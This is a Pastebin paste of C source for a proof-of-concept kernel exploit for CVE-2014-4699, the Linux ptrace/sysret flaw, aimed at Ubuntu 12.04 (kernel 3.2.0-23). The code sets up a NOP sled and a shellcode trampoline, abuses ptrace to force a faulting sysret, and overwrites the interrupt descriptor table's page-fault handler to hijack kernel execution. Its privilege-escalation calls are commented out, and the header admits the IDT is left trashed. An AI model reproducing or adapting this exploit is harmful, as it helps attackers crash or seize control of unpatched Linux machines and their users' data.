unknowns-mm

CVE-2014-4699.c

Sep 30th, 2016
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.70 KB | None | 0 0
  1. /**
  2.  * CVE-2014-4699 ptrace/sysret PoC
  3.  * by Vitaly Nikolenko
  4.  *
  5.  * > gcc -O2 poc_v0.c
  6.  *
  7.  * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
  8.  * following will trigger the #GP in sysret and overwrite the #PF handler so we
  9.  * can land to our NOP sled mapped at 0x80000000.
  10.  * However, once landed, the IDT will be trashed. We can either attempt to
  11.  * restore it (then escalate privileges and execute our shellcode) or find
  12.  * something else to overwrite that would transfer exec flow to our controlled
  13.  * user-space address. Since 3.10.something, IDT is read-only anyway. If you
  14.  * have any ideas, let me know.
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <stdint.h>
  19. #include <assert.h>
  20. #include <sys/ptrace.h>
  21. #include <sys/types.h>
  22. #include <sys/wait.h>
  23. #include <sys/syscall.h>
  24. #include <sys/user.h>
  25. #include <unistd.h>
  26. #include <sys/mman.h>
  27. #include <errno.h>
  28.  
  29. #define SIZE  0x10000000
  30.  
  31. typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
  32. typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
  33.  
  34. unsigned long __user_cs;
  35. unsigned long __user_ss;
  36. unsigned long __user_rflags;
  37.  
  38. void __attribute__((regparm(3))) payload() {
  39.     uint32_t *fixptr = (void*)0xffffffff81dd70e8;
  40.     // restore the #PF handler
  41.     *fixptr = -1;
  42.     //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
  43.     //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
  44.     //commit_creds(prepare_kernel_cred((uint64_t)NULL));
  45.  
  46.     //__asm__ volatile ("swapgs\n\t"
  47.     //        "...");
  48. }
  49.  
  50. int main() {
  51.     struct user_regs_struct regs;
  52.     uint8_t *trampoline, *tmp;
  53.     int status;
  54.  
  55.     struct {
  56.         uint16_t limit;
  57.         uint64_t addr;
  58.     } __attribute__((packed)) idt;
  59.  
  60.         // MAP_POPULATE so we don't trigger extra #PF
  61.     trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
  62.     assert(trampoline == 0x80000000);
  63.     memset(trampoline, 0x90, SIZE);
  64.         tmp = trampoline;
  65.         tmp += SIZE-1024;
  66.         memcpy(tmp, &payload, 1024);
  67.     memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
  68.  
  69.     pid_t chld;
  70.  
  71.         if ((chld = fork()) < 0) {
  72.         perror("fork");
  73.         exit(1);
  74.     }
  75.      
  76.     if (chld == 0) {
  77.         if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
  78.             perror("PTRACE_TRACEME");
  79.             exit(1);
  80.         }
  81.         raise(SIGSTOP);
  82.         fork();
  83.         return 0;
  84.     }
  85.  
  86.     asm volatile("sidt %0" : "=m" (idt));
  87.     printf("IDT addr = 0x%lx\n", idt.addr);
  88.  
  89.     waitpid(chld, &status, 0);
  90.  
  91.     ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
  92.  
  93.     ptrace(PTRACE_CONT, chld, 0, 0);
  94.  
  95.     waitpid(chld, &status, 0);
  96.  
  97.         ptrace(PTRACE_GETREGS, chld, NULL, &regs);
  98.     regs.rdi = 0x0000000000000000;
  99.     regs.rip = 0x8fffffffffffffff;
  100.     regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
  101.  
  102.     // attempt to restore the IDT
  103.     regs.rdi = 0x0000000000000000;
  104.     regs.rsi = 0x81658e000010cbd0;
  105.     regs.rdx = 0x00000000ffffffff;
  106.     regs.rcx = 0x81658e000010cba0;
  107.     regs.rax = 0x00000000ffffffff;
  108.     regs.r8  = 0x81658e010010cb00;
  109.     regs.r9  = 0x00000000ffffffff;
  110.     regs.r10 = 0x81668e0000106b10;
  111.     regs.r11 = 0x00000000ffffffff;
  112.     regs.rbx = 0x81668e0000106ac0;
  113.     regs.rbp = 0x00000000ffffffff;
  114.     regs.r12 = 0x81668e0000106ac0;
  115.     regs.r13 = 0x00000000ffffffff;
  116.     regs.r14 = 0x81668e0200106a90;
  117.     regs.r15 = 0x00000000ffffffff;
  118.  
  119.         ptrace(PTRACE_SETREGS, chld, NULL, &regs);
  120.  
  121.     ptrace(PTRACE_CONT, chld, 0, 0);
  122.  
  123.     ptrace(PTRACE_DETACH, chld, 0, 0);
  124. }
Add Comment
Please, Sign In to add comment